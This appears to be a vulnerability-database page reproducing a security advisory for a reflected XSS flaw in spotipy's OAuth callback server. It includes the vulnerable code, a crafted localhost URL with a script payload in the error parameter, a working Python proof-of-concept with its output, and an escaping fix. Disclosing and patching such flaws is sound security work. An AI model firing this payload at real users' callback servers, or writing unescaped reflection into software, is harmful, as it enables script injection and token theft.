Low

Spotipy has a XSS vulnerability in its OAuth callback server

  • Disclosed: 01.12.2025
  • Updated: 11.10.2026 13:18

Summary

XSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user's browser during OAuth authentication.

Details

Vulnerable Code: spotipy/oauth2.py lines 1238-1274 (RequestHandler.do_GET)

The Problem: During OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the error URL parameter directly into HTML without sanitization.

Vulnerable code at line 1255:

python
status = f"failed ({self.server.error})"

Then embedded in HTML at line 1265:

python
self._write(f"""<html>
<body>
<h1>Authentication status: {status}</h1>
</body>
</html>""")

The error parameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection.

Attack Flow:

  1. User starts OAuth authentication → local server runs on http://127.0.0.1:8080
  2. Attacker crafts malicious URL: http://127.0.0.1:8080/?error=<script>alert(1)</script>&state=x
  3. User visits URL → JavaScript executes in localhost origin

PoC

Simple Python Test:

python
#!/usr/bin/env python3
# poc_xss.py - Demonstrates XSS in spotipy OAuth callback

import requests
from spotipy.oauth2 import start_local_http_server
import threading
import time

# Start vulnerable server in background
def start_server():
    server = start_local_http_server(8080)
    server.handle_request()

thread = threading.Thread(target=start_server, daemon=True)
thread.start()
time.sleep(2)

# Send XSS payload
payload = '<script>alert("XSS")</script>'
url = f'http://127.0.0.1:8080/?error={payload}&state=test'

response = requests.get(url)
print(f"Status: {response.status_code}")
print(f"\nHTML Response:\n{response.text}")

# Check if vulnerable
if payload in response.text:
    print(f"\n[!] VULNERABLE: Payload '{payload}' reflected without escaping!")
else:
    print("\n[+] Safe: Payload was sanitized")

Run it:

bash
pip install spotipy requests
python3 poc_xss.py

Output shows:

Status: 200
HTML Response:
<html>
<body>
<h1>Authentication status: failed (<script>alert("XSS")</script>)</h1>
</body>
</html>

[!] VULNERABLE: Payload '<script>alert("XSS")</script>' reflected without escaping!

The Proof:

  • Expected (safe): &lt;script&gt;alert("XSS")&lt;/script&gt;
  • Actual (vulnerable): <script>alert("XSS")</script>
  • The script tags are NOT escaped → XSS confirmed

Impact

Vulnerability Type: Cross-Site Scripting (XSS) - CWE-79

Affected Users: Anyone using spotipy's OAuth flow with localhost redirect URIs

Attack Complexity: Medium-High

  • Requires timing (during brief OAuth window)
  • Localhost-only (127.0.0.1)
  • Requires user interaction (click malicious link)

Potential Impact:

  • Execute JavaScript in localhost origin
  • Access other localhost services (port scanning, API calls)
  • Steal data from local web applications
  • Extract OAuth tokens from browser storage
  • Bypass CSRF protections on localhost endpoints

CVSS 3.1 Score: 4.2 (Medium)

  • Attack Vector: Local
  • Attack Complexity: High
  • Privileges Required: None
  • User Interaction: Required
  • Scope: Unchanged
  • Confidentiality/Integrity: Low

Recommended Fix:

python
import html

# Line 1255 - apply HTML escaping
if self.server.error:
    status = f"failed ({html.escape(str(self.server.error))})"

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) spotipy < 2.25.2 2.25.2

References

CVSS score 3.6/10
CVSS vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
Weakness (CWE)
CWE-79
Platform
Python (PyPI)
Package
spotipy
Disclosed
01.12.2025
Updated
11.10.2026 13:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1937 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-r77h-rpp9-w2xm - CC BY 4.0

Vulnerability history: spotipy

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
3
First → latest
01.2023 12.2025
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 1
  • Medium 1
  • Low 1

Disclosures per year

  1. 2023: 1
  2. 2024: 0
  3. 2025: 2
  4. 2026: 0
  1. Spotipy has a XSS vulnerability in its OAuth callback server this entry
    Low · 3.6 CVE-2025-66040 < 2.25.2 2.25.2
  2. Medium · 5.4 CVE-2023-23608 < 2.22.1 2.22.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.